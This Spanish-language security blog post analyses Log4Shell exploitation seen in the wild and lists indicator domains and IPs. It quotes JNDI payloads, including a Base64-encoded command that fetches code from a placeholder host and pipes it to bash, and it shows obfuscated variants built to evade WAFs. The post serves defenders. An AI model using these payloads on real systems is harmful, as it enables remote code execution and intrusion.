Los exploits de JNDI han sido algo digno de ver este pasado fin de semana. Numerosos equipos de seguridad de todo el mundo se han afanado en sus puestos, dedicando largas horas a identificar, bloquear, parchear y, probablemente, pelearse con los equipos de infraestructura para realizar cambios con el fin de parchear este 0day ahora denominado CVE-2021-44228.
Evolución de los exploits a través de los metadatos de la red
Durante el fin de semana y a lo largo de esta semana, Vectra ha estado vigilando activamente los intentos de los atacantes de aprovechar esta vulnerabilidad. El siguiente gráfico extraído de Vectra Recall muestra una avalancha de peticiones HTTP que contienen las cargas útiles para orquestar el exploit.
La mayoría de estos intentos originales procedían de la red ToR e intentaban que los hosts devolvieran la llamada al dominio: *bingsearchlib[.]com. Aunque se especula sobre lo que este dominio estaba soltando, no se observaron cargas útiles recuperadas desde aquí por Vectra. El análisis privado sugiere que la carga útil estaba vinculada a la minería de monedas, sin embargo, puede haber otros factores que enturbien las aguas cuando se trata de conexiones ToR, de los que hablaremos en breve. Vectra ha observado los diversos dominios que se utilizan como call-back en las cadenas log4shell (ya sea empaquetados en el agente de usuario, el URI u otros campos de texto plano de la petición HTTP). Un conjunto de dominios observados por Vectra se enumeran a continuación junto con los dominios relacionados nombrados por fox-it open source intelligence*.
ds.Rce[.]ee
*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz
El uso del exploit tal y como se identificó originalmente ha evolucionado, con atacantes potenciales codificando la parte ejecutable del exploit en una cadena Base64 al final de la url JNDI, por ejemplo:
${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=
Vectra observado IPs con esta codificación muchas veces en nuestros metadatos. Estas direcciones IP, junto con las IP relacionadas nombradas por fox-it open source intelligence, se indican a continuación.
45.146.164[.]160
134.209.26[.]39
45.130.229[.]168
45.83.193[.]150
172.111.48[.]30
45.137.21[.]9
205.185.115[.]217
185.162.251[.]208
45.130.229[.]168
79.172.214[.]11
143.198.237[.]19
162.33.177[.]73
133.130.120[.]176
163.172.157[.]143
45.137.21[.]9
34.125.76[.]237
45.33.47[.]240
152.89.239[.]12
45.155.205[.]233
194.151.29[.]154
158.69.204[.]95
47.254.127[.]78
Una evolución adicional que hemos observado en la naturaleza es un segundo nivel de ofuscación desplegado por los actores de amenazas. Esta era otra característica del motor JNDI, que permitía que las cadenas enviadas, fueran decodificadas a su formato original y luego se ejecutara la conexión al servicio LDAP / Directorio. Estos se observaron como los siguientes:
${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://
Aunque señalamos esta evolución al final de nuestro anterior blog del 10 de diciembre, lo cierto es que su uso ha disminuido desde entonces. ¿A qué se debe?
Lamentablemente, los defensores impulsan la evolución de los exploits
Mientras los defensores se mueven para construir defensas contra nuevos exploits, los atacantes buscan evolucionar. La caída de segundo nivel se puede vincular específicamente a este repositorio en GitHub y este tweet:
La herramienta es un exploit POC de la vulnerabilidad, y aunque comienza con términos como "iniciar un servidor web que permita descargar el binario compilado", muy rápidamente pasa a los métodos para eludir las WAF. De ahí provienen los principales métodos de ofuscación. Se puede argumentar que los defensores necesitan saber cómo eludir sus propias herramientas para defenderse de esos métodos. Analizar los tipos de ofuscación de los que se ha hablado permite a los equipos desarrollar mejores patrones de búsqueda y herramientas que les permitan detectar algunos de estos novedosos intentos, como se ha visto anteriormente. Pero es innegable que los atacantes cambian sus tácticas en función de los investigadores de seguridad, y sólo hasta cierto punto se pueden construir firmas específicas de exploits.
Para usar un ejemplo antiguo, Empire fue una herramienta diseñada como un marco de Pentest construido alrededor de PowerShell, pero muy rápidamente fue utilizado por actores maliciosos para comprometer e instalar sus propios implantes a menudo con modificaciones para evadir a sus creadores. Las técnicas desarrolladas en Empire se siguen utilizando hoy en día en los ataques IcedID y Emotet**.
Log4Shell no es una excepción a este fenómeno, hace poco el investigador Márcio Almeida tuiteó lo siguiente:
Lo que echa por tierra uno de los factores atenuantes del blog original de LunaSec sobre la vulnerabilidad de Log4Shell:
Sysadmins, analistas de SOC, equipos azules de todo el mundo, oigo ese gemido colectivo. Durante una fase activa de un exploit, algo que estamos observando en la naturaleza, un factor de mitigación podría significar la diferencia entre darle tiempo para actualizar, y la instalación completa de rootkit como alguien pasa por alto ese factor de mitigación.
Las investigaciones de este tipo son valiosas e impulsarán el debate y las prácticas de seguridad en su conjunto, pero durante un acontecimiento mundial activo también pueden echar más leña al fuego. Del mismo modo, la búsqueda de vulnerabilidades durante dicho evento mundial también podría considerarse contraproducente.
¿Combustible para el agua o sólo para dificultar la visión de los tiburones?
Uno de los intentos de ataque más observados no ha sido el de actores maliciosos o individuos que prueban el exploit, sino el de empresas de seguridad que han estado escaneando múltiples hosts a través de Internet con el fin de identificar objetivos vulnerables.
Vectra ha observado al menos dos empresas de seguridad, una en EE.UU. y otra en la región DACH, que escanean hosts, utilizan múltiples técnicas de ofuscación y realizan llamadas a sus propios dominios. Aunque esta actividad puede considerarse igualitaria y una forma de ayudar a la gente a identificar sus propios sistemas vulnerables, es posible que su objetivo sea captar clientes para sus propios servicios. En cualquier caso, muchos de los intentos de escaneo iniciales estaban llenos de intentos de escaneo de las propias empresas, lo que dificulta la identificación de comportamientos maliciosos genuinos.
Conclusiones
Log4shell no es el primer exploit que trastorna el mundo y puedo afirmar con seguridad que no será el último. Los atacantes seguirán evolucionando y poniendo a los defensores al límite de sus posibilidades para intentar impedir que entren. Log4shell es, una vez más, una llamada de atención a toda la industria de que los problemas de seguridad no van a desaparecer y de que, por mucho que invirtamos en prevención, los atacantes encontrarán la forma de hacerlo.
¿Quieres ponerte al día? Puedes leer el primer post sobre Log4Shell aquí.
--
*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
malware